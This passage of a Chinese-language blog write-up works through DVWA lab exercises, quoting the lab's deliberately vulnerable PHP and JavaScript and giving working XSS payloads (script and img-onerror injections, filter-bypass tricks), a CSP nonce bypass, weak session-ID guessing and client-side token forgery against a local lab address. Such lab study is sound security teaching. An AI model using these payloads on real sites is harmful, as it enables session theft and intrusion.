class="line">    $result = mysqli_query($GLOBALS[&quot;___mysqli_ston&quot;],  $getid ); // Removed &apos;or die&apos; to suppress mysql errors</span><br><span class="line"></span><br><span class="line">    // Get results</span><br><span class="line">    $num = @mysqli_num_rows( $result ); // The &apos;@&apos; character suppresses errors</span><br><span class="line">    if( $num &gt; 0 ) &#123;</span><br><span class="line">        // Feedback for end user</span><br><span class="line">        echo &apos;&lt;pre&gt;User ID exists in the database.&lt;/pre&gt;&apos;;</span><br><span class="line">    &#125;</span><br><span class="line">    else &#123;</span><br><span class="line">        // User wasn&apos;t found, so the page wasn&apos;t!</span><br><span class="line">        header( $_SERVER[ &apos;SERVER_PROTOCOL&apos; ] . &apos; 404 Not Found&apos; );</span><br><span class="line"></span><br><span class="line">        // Feedback for end user</span><br><span class="line">        echo &apos;&lt;pre&gt;User ID is MISSING from the database.&lt;/pre&gt;&apos;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    ((is_null($___mysqli_res = mysqli_close($GLOBALS[&quot;___mysqli_ston&quot;]))) ? false : $___mysqli_res);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure>
+<p>查看源码发现还是没有对id做过滤，但是它不会返回错误信息，只会告诉你User ID exists in the database.以及User ID is MISSING from the database.</p>
+<p>盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。<br>如果手工盲注的话，需要对sql语法相当熟悉。类似：<br><a href="https://www.freebuf.com/articles/web/120985.html" target="_blank" rel="noopener">https://www.freebuf.com/articles/web/120985.html</a><br>如果自动盲注的话，可以使用sqlmap来完成，类似：<br><a href="https://www.jianshu.com/p/ec2ca79e74b2" target="_blank" rel="noopener">https://www.jianshu.com/p/ec2ca79e74b2</a></p>
+<h1 id="弱session-id"><a href="#弱session-id" class="headerlink" title="弱session-id"></a>弱session-id</h1><h2 id="easy模式-6"><a href="#easy模式-6" class="headerlink" title="easy模式"></a>easy模式</h2><p>session-ID通常是在登录后作为特定用户访问站点所需的唯一内容，如果能够计算或轻易猜到该会话ID，则攻击者将有一种简单的方法来获取访问权限。无需知道账户密码或查找其他漏洞，如跨站点脚本。</p>
+<p>根据源码可以看出来session每次加1<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">$html = &quot;&quot;;</span><br><span class="line"></span><br><span class="line">if ($_SERVER[&apos;REQUEST_METHOD&apos;] == &quot;POST&quot;) &#123;</span><br><span class="line">    if (!isset ($_SESSION[&apos;last_session_id&apos;])) &#123;</span><br><span class="line">        $_SESSION[&apos;last_session_id&apos;] = 0;</span><br><span class="line">    &#125;</span><br><span class="line">    $_SESSION[&apos;last_session_id&apos;]++;</span><br><span class="line">    $cookie_value = $_SESSION[&apos;last_session_id&apos;];</span><br><span class="line">    setcookie(&quot;dvwaSession&quot;, $cookie_value);</span><br><span class="line">&#125;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure></p>
+<p>按f12看application-cookies也能发现这个规律。<br>然后使用hackbar这个扩展程序攻击。</p>
+<h2 id="medium模式-6"><a href="#medium模式-6" class="headerlink" title="medium模式"></a>medium模式</h2><p>从源码中可以看到dvwaSession就是时间戳<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">$html = &quot;&quot;;</span><br><span class="line"></span><br><span class="line">if ($_SERVER[&apos;REQUEST_METHOD&apos;] == &quot;POST&quot;) &#123;</span><br><span class="line">    $cookie_value = time();</span><br><span class="line">    setcookie(&quot;dvwaSession&quot;, $cookie_value);</span><br><span class="line">&#125;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure></p>
+<h1 id="基于DOM的XSS"><a href="#基于DOM的XSS" class="headerlink" title="基于DOM的XSS"></a>基于DOM的XSS</h1><h2 id="easy模式-7"><a href="#easy模式-7" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
+<p>“跨站点脚本（XSS）”攻击是一种注入问题，其中恶意脚本被注入到其他良性和可信赖的网站中。当攻击者使用Web应用程序将恶意代码（通常以浏览器端脚本的形式）发送给不同的最终用户时，就会发生XSS攻击。允许这些攻击成功的缺陷非常普遍，并且发生在使用输出中的用户输入的Web应用程序的任何地方，而不验证或编码它。</p>
+<p>攻击者可以使用XSS将恶意脚本发送给毫无戒心的用户。最终用户的浏览器无法知道该脚本不应该被信任，并将执行JavaScript。因为它认为脚本来自可靠来源，所以恶意脚本可以访问您的浏览器保留并与该站点一起使用的任何cookie，会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。</p>
+<p>基于DOM的XSS是一个特殊情况，反映了JavaScript隐藏在URL中并在呈现时由页面中的JavaScript拉出而不是在服务时嵌入页面中。这可能使其比其他攻击更隐蔽，并且正在阅读页面主体的WAF或其他保护措施看不到任何恶意内容。</p>
+</blockquote>
+<p>查看页面源代码<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">&lt;script&gt;</span><br><span class="line">	if (document.location.href.indexOf(&quot;default=&quot;) &gt;= 0) &#123;</span><br><span class="line">		var lang = document.location.href.substring(document.location.href.indexOf(&quot;default=&quot;)+8);</span><br><span class="line">		document.write(&quot;&lt;option value=&apos;&quot; + lang + &quot;&apos;&gt;&quot; + decodeURI(lang) + &quot;&lt;/option&gt;&quot;);</span><br><span class="line">		document.write(&quot;&lt;option value=&apos;&apos; disabled=&apos;disabled&apos;&gt;----&lt;/option&gt;&quot;);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	document.write(&quot;&lt;option value=&apos;English&apos;&gt;English&lt;/option&gt;&quot;);</span><br><span class="line">	document.write(&quot;&lt;option value=&apos;French&apos;&gt;French&lt;/option&gt;&quot;);</span><br><span class="line">	document.write(&quot;&lt;option value=&apos;Spanish&apos;&gt;Spanish&lt;/option&gt;&quot;);</span><br><span class="line">	document.write(&quot;&lt;option value=&apos;German&apos;&gt;German&lt;/option&gt;&quot;);</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure></p>
+<ul>
+<li>indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。</li>
+<li>substring() 方法用于提取字符串中介于两个指定下标之间的字符。</li>
+<li>decodeURI() 函数可对 encodeURI() 函数编码过的 URI 进行解码</li>
+<li>所以lang被赋值为”default=”之后的字串，如果插入js代码，插入的 javascript 代码可以在 decodeURL(lang) 被执行</li>
+</ul>
+<p><code>http://192.168.31.84:81/vulnerabilities/xss_d/?default=English&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code><br>这个uri被用户点击之后会被弹窗，但是在chrome测试了很多次都不行，firefox就可以</p>
+<h2 id="medium模式-7"><a href="#medium模式-7" class="headerlink" title="medium模式"></a>medium模式</h2><p>相对于easy模式增加了对script的过滤<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># Do not allow script tags</span><br><span class="line">if (stripos ($default, &quot;&lt;script&quot;) !== false) &#123;</span><br><span class="line">    header (&quot;location: ?default=English&quot;);</span><br><span class="line">    exit;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
+<p>绕过有两种方式</p>
+<ol>
+<li>方式1<br>url中有一个字符为#，该字符后的数据不会发送到服务器端，从而绕过服务端过滤<br><code>http://192.168.31.84:81/vulnerabilities/xss_d/?default=English#&lt;script&gt;alert(document.cookie)&lt;/script&gt;</code></li>
+<li>方法2<br>或者就是用img标签或其他标签的特性去执行js代码，比如img标签的onerror事件，构造连接(通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框，证明出来有xss)<br>`<a href="http://192.168.31.84:81/vulnerabilities/xss_d/?default=English%3E/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=alert(/xss/)%3E&#39;" target="_blank" rel="noopener">http://192.168.31.84:81/vulnerabilities/xss_d/?default=English%3E/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=alert(/xss/)%3E&#39;</a></li>
+</ol>
+<h1 id="反射型xss"><a href="#反射型xss" class="headerlink" title="反射型xss"></a>反射型xss</h1><h2 id="easy模式-8"><a href="#easy模式-8" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
+<p>反射型（非持久）：主要用于将恶意代码附加到URL地址的参数中，常用于窃取客户端cookie信息和钓鱼欺骗。</p>
+</blockquote>
+<p>查看源码，服务器直接把客户端的输入返回回来显示<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line">header (<span class="string">"X-XSS-Protection: 0"</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Is there any input?</span></span><br><span class="line"><span class="keyword">if</span>( array_key_exists( <span class="string">"name"</span>, $_GET ) &amp;&amp; $_GET[ <span class="string">'name'</span> ] != <span class="keyword">NULL</span> ) &#123;</span><br><span class="line">    <span class="comment">// Feedback for end user</span></span><br><span class="line">    <span class="keyword">echo</span> <span class="string">'&lt;pre&gt;Hello '</span> . $_GET[ <span class="string">'name'</span> ] . <span class="string">'&lt;/pre&gt;'</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></p>
+<p><a href="http://192.168.31.84:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27xss%27)%3C/script%3E" target="_blank" rel="noopener">http://192.168.31.84:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27xss%27)%3C/script%3E</a></p>
+<h2 id="medium模式-8"><a href="#medium模式-8" class="headerlink" title="medium模式"></a>medium模式</h2><p>源码里检查了script标签<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// Get input</span><br><span class="line">   $name = str_replace( &apos;&lt;script&gt;&apos;, &apos;&apos;, $_GET[ &apos;name&apos; ] );</span><br></pre></td></tr></table></figure></p>
+<p>str_replace这个函数是不区分大小写的，而且只替换一次<br>改成大写就可以了<script>alert(‘xss’)</script><br>或者嵌套&lt;scr<script>ipt&gt;alert(‘xss’)</script></p>
+<p>但对name审查没有这么严格，同样可以采用嵌套或大小写的方法：</p>
+<p>&lt;scr<script>ipt&gt;alert(‘fuck’)</script></p>
+<p><script>alert(‘fuck’)</script></p>
+<h1 id="存储型xss"><a href="#存储型xss" class="headerlink" title="存储型xss"></a>存储型xss</h1><h2 id="easy模式-9"><a href="#easy模式-9" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
+<p>“跨站点脚本（XSS）”攻击是一种注入问题，其中恶意脚本被注入到其他良性和可信赖的网站中。当攻击者使用Web应用程序将恶意代码（通常以浏览器端脚本的形式）发送给不同的最终用户时，就会发生XSS攻击。允许这些攻击成功的缺陷非常普遍，并且发生在使用输出中的用户输入的Web应用程序的任何地方，而不验证或编码它。</p>
+<p>攻击者可以使用XSS将恶意脚本发送给毫无戒心的用户。最终用户的浏览器无法知道该脚本不应该被信任，并将执行JavaScript。因为它认为脚本来自可靠来源，所以恶意脚本可以访问您的浏览器保留并与该站点一起使用的任何cookie，会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。</p>
+<p>XSS存储在数据库中。 XSS是永久性的，直到重置数据库或手动删除有效负载。</p>
+</blockquote>
+<p>查看源码<br>trim是去除掉用户输入内容前后的空格。stripslashes是去除反斜杠，两个只会去除一个。mysqli_real_escap_string过滤掉内容中特殊字符，像x00,n,r,,’,”,x1a等，来预防数据库攻击。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">if( isset( $_POST[ &apos;btnSign&apos; ] ) ) &#123;</span><br><span class="line">    // Get input</span><br><span class="line">    $message = trim( $_POST[ &apos;mtxMessage&apos; ] );</span><br><span class="line">    $name    = trim( $_POST[ &apos;txtName&apos; ] );</span><br><span class="line"></span><br><span class="line">    // Sanitize message input</span><br><span class="line">    $message = stripslashes( $message );</span><br><span class="line">    $message = ((isset($GLOBALS[&quot;___mysqli_ston&quot;]) &amp;&amp; is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_real_escape_string($GLOBALS[&quot;___mysqli_ston&quot;],  $message ) : ((trigger_error(&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;, E_USER_ERROR)) ? &quot;&quot; : &quot;&quot;));</span><br><span class="line"></span><br><span class="line">    // Sanitize name input</span><br><span class="line">    $name = ((isset($GLOBALS[&quot;___mysqli_ston&quot;]) &amp;&amp; is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_real_escape_string($GLOBALS[&quot;___mysqli_ston&quot;],  $name ) : ((trigger_error(&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;, E_USER_ERROR)) ? &quot;&quot; : &quot;&quot;));</span><br><span class="line"></span><br><span class="line">    // Update database</span><br><span class="line">    $query  = &quot;INSERT INTO guestbook ( comment, name ) VALUES ( &apos;$message&apos;, &apos;$name&apos; );&quot;;</span><br><span class="line">    $result = mysqli_query($GLOBALS[&quot;___mysqli_ston&quot;],  $query ) or die( &apos;&lt;pre&gt;&apos; . ((is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_error($GLOBALS[&quot;___mysqli_ston&quot;]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . &apos;&lt;/pre&gt;&apos; );</span><br><span class="line"></span><br><span class="line">    //mysql_close();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure></p>
+<p>插入之后会成为页面的元素显示出来<br><code>&lt;div id=&quot;guestbook_comments&quot;&gt;Name: 11&lt;br /&gt;Message: 111&lt;br /&gt;&lt;/div&gt;</code><br>看一下提交的方式：<br><code>txtName=22&amp;mtxMessage=222&amp;btnSign=Sign+Guestbook</code><br>直接插入script语句，<code>txtName=22&lt;script&gt;alert(1)&lt;/script&gt;&amp;mtxMessage=222&amp;btnSign=Sign+Guestbook</code></p>
+<h2 id="medium模式-9"><a href="#medium模式-9" class="headerlink" title="medium模式"></a>medium模式</h2><p>源码中增加了几个函数的使用：</p>
+<ul>
+<li>$message = strip_tags(addslashes($message)); 剥去字符串中的 HTML、XML 以及 PHP 的标签。</li>
+<li>$message = htmlspecialchars( $message ); 把预定义的字符 “&lt;” （小于）和 “&gt;” （大于）转换为 HTML 实体：</li>
+<li>$name = str_replace( ‘<script>‘, ‘’, $name );</li>
+</ul>
+<h1 id="绕过安全策略"><a href="#绕过安全策略" class="headerlink" title="绕过安全策略"></a>绕过安全策略</h1><h2 id="easy模式-10"><a href="#easy模式-10" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
+<p>内容安全策略（CSP）用于定义可以从中加载或执行脚本和其他资源的位置。本单元将引导您根据开发人员常见错误绕过策略。<br>这些漏洞都不是CSP中的实际漏洞，它们是实施漏洞的漏洞。</p>
+</blockquote>
+<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">$headerCSP = &quot;Content-Security-Policy: script-src &apos;self&apos; https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;&quot;; // allows js from self, pastebin.com, jquery and google analytics.</span><br><span class="line"></span><br><span class="line">header($headerCSP);</span><br><span class="line"></span><br><span class="line"># https://pastebin.com/raw/R570EE00</span><br><span class="line"></span><br><span class="line">?&gt;</span><br><span class="line">&lt;?php</span><br><span class="line">if (isset ($_POST[&apos;include&apos;])) &#123;</span><br><span class="line">$page[ &apos;body&apos; ] .= &quot;</span><br><span class="line">    &lt;script src=&apos;&quot; . $_POST[&apos;include&apos;] . &quot;&apos;&gt;&lt;/script&gt;</span><br><span class="line">&quot;;</span><br><span class="line">&#125;</span><br><span class="line">$page[ &apos;body&apos; ] .= &apos;</span><br><span class="line">&lt;form name=&quot;csp&quot; method=&quot;POST&quot;&gt;</span><br><span class="line">    &lt;p&gt;You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:&lt;/p&gt;</span><br><span class="line">    &lt;input size=&quot;50&quot; type=&quot;text&quot; name=&quot;include&quot; value=&quot;&quot; id=&quot;include&quot; /&gt;</span><br><span class="line">    &lt;input type=&quot;submit&quot; value=&quot;Include&quot; /&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&apos;;</span><br></pre></td></tr></table></figure>
+<p>会在页面里增加一个body<code>&lt;script src=&#39;&quot; . $_POST[&#39;include&#39;] . &quot;&#39;&gt;&lt;/script&gt;</code><br>这里在源码中规定了信任的脚本源：<br><code>script-src &#39;self&#39; https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;&quot;; // allows js from self, pastebin.com, jquery and google analytics.</code><br>输入源码中提示的<a href="https://pastebin.com/raw/R570EE00，弹窗成功">https://pastebin.com/raw/R570EE00，弹窗成功</a></p>
+<h2 id="medium模式-10"><a href="#medium模式-10" class="headerlink" title="medium模式"></a>medium模式</h2><p>如果你要使用 script 标签加载 javascript, 你需要指明其 nonce 值<br><code>$headerCSP = &quot;Content-Security-Policy: script-src &#39;self&#39; &#39;unsafe-inline&#39; &#39;nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=&#39;;&quot;;</code><br>比如：<br><code>&lt;script nonce=&quot;TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=&quot;&gt;alert(1)&lt;/script&gt;</code></p>
+<h1 id="JavaScript-Attacks"><a href="#JavaScript-Attacks" class="headerlink" title="JavaScript Attacks"></a>JavaScript Attacks</h1><h2 id="easy模式-11"><a href="#easy模式-11" class="headerlink" title="easy模式"></a>easy模式</h2><blockquote>
+<p>本节中的攻击旨在帮助您了解JavaScript在浏览器中的使用方式以及如何操作它。攻击可以通过分析网络流量来进行，但这不是重点，也可能要困难得多。<br>只需提交“成功”一词即可赢得关卡。显然，它并不那么容易，每个级别实现不同的保护机制，页面中包含的JavaScript必须进行分析，然后进行操作以绕过保护。</p>
+</blockquote>
+<p>提示我们Submit the word “success” to win.但是输入success却返回Invalid token.说明token值不对劲，后台应该是比较输入的字符串与‘success’。<br>查看源码发现token值是在前台计算的，md5(rot13(phrase))<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">function generate_token() &#123;</span><br><span class="line">    var phrase = document.getElementById(&quot;phrase&quot;).value;</span><br><span class="line">    document.getElementById(&quot;token&quot;).value = md5(rot13(phrase));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">generate_token();</span><br></pre></td></tr></table></figure></p>
+<p>然而，phrase的值等于ChangeMe<br><code>&lt;input type=&quot;text&quot; name=&quot;phrase&quot; value=&quot;ChangeMe&quot; id=&quot;phrase&quot;&gt;</code><br>因此计算出来的token也是不对的，我们在chrome的控制台直接计算<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">md5(rot13(&quot;success&quot;))</span><br><span class="line">&quot;38581812b435834ebf84ebcc2c6424d6&quot;</span><br></pre></td></tr></table></figure></p>
+<p>把值给隐藏的元素<code>&lt;input type=&quot;hidden&quot; name=&quot;token&quot; value=&quot;8b479aefbd90795395b3e7089ae0dc09&quot; id=&quot;token&quot;&gt;</code><br>然后提交success</p>
+<h2 id="medium模式-11"><a href="#medium模式-11" class="headerlink" title="medium模式"></a>medium模式</h2><p>生成token的代码在js文件中<br><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">do_something</span>(<span class="params">e</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> t = <span class="string">""</span>, n = e.length - <span class="number">1</span>; n &gt;= <span class="number">0</span>; n--) t += e[n];</span><br><span class="line">    <span class="keyword">return</span> t</span><br><span class="line">&#125;</span><br><span class="line">setTimeout(<span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    do_elsesomething(<span class="string">"XX"</span>)</span><br><span class="line">&#125;, <span class="number">300</span>);</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">do_elsesomething</span>(<span class="params">e</span>) </span>&#123;</span><br><span class="line">    <span class="built_in">document</span>.getElementById(<span class="string">"token"</span>).value = do_something(e + <span class="built_in">document</span>.getElementById(<span class="string">"phrase"</span>).value + <span class="string">"XX"</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
+<p>输入success，然后控制台运行do_elsesomething(“XX”)就可以拿到token</p>
+</script></li></ul>
+      
+    </div>
+    
+    
+    
+
+    
+
+    
+      <div>
+        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
+  <div>您的支持将鼓励我继续创作！</div>
+  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
+    <span>打赏</span>
+  </button>
+  <div id="QR" style="display: none;">
+
+    
+      <div id="wechat" style="display: inline-block">
+        <img id="wechat_qr" src="/images/Wechatpay.png" alt="Cool-Y 微信支付">
+        <p>微信支付</p>
+      </div>
+    
+
+    
+      <div id="alipay" style="display: inline-block">
+        <img id="alipay_qr" src="/images/Alipay.png" alt="Cool-Y 支付宝">
+        <p>支付宝</p>
+      </div>
+    
+
+    
+
+  </div>
+</div>
+
+      </div>
+    
+
+    
+
+    <footer class="post-footer">
+      
+        <div class="post-tags">
+          
+            <a href="/tags/web/" rel="tag"># web</a>
+          
+            <a href="/tags/ctf/" rel="tag"># ctf</a>
+          
+        </div>
+      
+
+      
+      
+      
+
+      
+        <div class="post-nav">
+          <div class="post-nav-next post-nav-item">
+            
+              <a href="/2019/07/16/linux-pwn-32/" rel="next" title="Linux Pwn-缓冲区溢出利用">
+                <i class="fa fa-chevron-left"></i> Linux Pwn-缓冲区溢出利用
+              </a>
+            
+          </div>
+
+          <span class="post-nav-divider"></span>
+
+          <div class="post-nav-prev post-nav-item">
+            
+              <a href="/2019/07/24/获取固件/" rel="prev" title="获取固件的几种方法">
+                获取固件的几种方法 <i class="fa fa-chevron-right"></i>
+              </a>
+            
+          </div>
+        </div>
+      
+
+      
+      
+    </footer>
+  </div>
+  
+  
+  
+  </article>
+
+
+
+    <div class="post-spread">
+      
+    </div>
+  </div>
+
+
+          </div>
+          
+
+
+          
+
+  
+    <div class="comments" id="comments">
+      
+        <div id="gitment-container"></div>
+      
+    </div>
+
+  
+
+
+
+        </div>
+        
+          
+  
+  <div class="sidebar-toggle">
+    <div class="sidebar-toggle-line-wrap">
+      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
+    </div>
+  </div>
+
+  <aside id="sidebar" class="sidebar">
+    
+    <div class="sidebar-inner">
+
+      
+
+      
+        <ul class="sidebar-nav motion-element">
+          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
+            文章目录
+          </li>
+          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
+            站点概览
+          </li>
+        </ul>
+      
+
+      <section class="site-overview-wrap sidebar-panel">
+        <div class="site-overview">
+          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
+            
+              <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
+            
+              <p class="site-author-name" itemprop="name">Cool-Y</p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
+          </div>
+
+          <nav class="site-state motion-element">
+
+            
+              <div class="site-state-item site-state-posts">
+              
+                <a href="/archives/">
+              
+                  <span class="site-state-item-count">21</span>
+                  <span class="site-state-item-name">日志</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-categories">
+                <a href="/categories/index.html">
+                  <span class="site-state-item-count">9</span>
+                  <span class="site-state-item-name">分类</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-tags">
+                <a href="/tags/index.html">
+                  <span class="site-state-item-count">43</span>
+                  <span class="site-state-item-name">标签</span>
+                </a>
+              </div>
+            
+
+          </nav>
+
+          
+
+          
+            <div class="links-of-author motion-element">
+                
+                  <span class="links-of-author-item">
+                    <a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
+                      
+                        <i class="fa fa-fw fa-github"></i>GitHub</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
+                      
+                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
+                      
+                        <i class="fa fa-fw fa-instagram"></i>Instagram</a>
+                  </span>
+                
+            </div>
+          
+
+          
+          
+
+          
+          
+
+          
+
+        </div>
+      </section>
+
+      
+      <!--noindex-->
+        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
+          <div class="post-toc">
+
+            
+              
+            
+
+            
+              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#搭建环境"><span class="nav-text">搭建环境</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#暴力破解"><span class="nav-text">暴力破解</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#命令执行"><span class="nav-text">命令执行</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-1"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-1"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#CSRF"><span class="nav-text">CSRF</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-2"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-2"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#文件包含"><span class="nav-text">文件包含</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-3"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-3"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#文件上传"><span class="nav-text">文件上传</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-4"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-4"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#SQL注入"><span 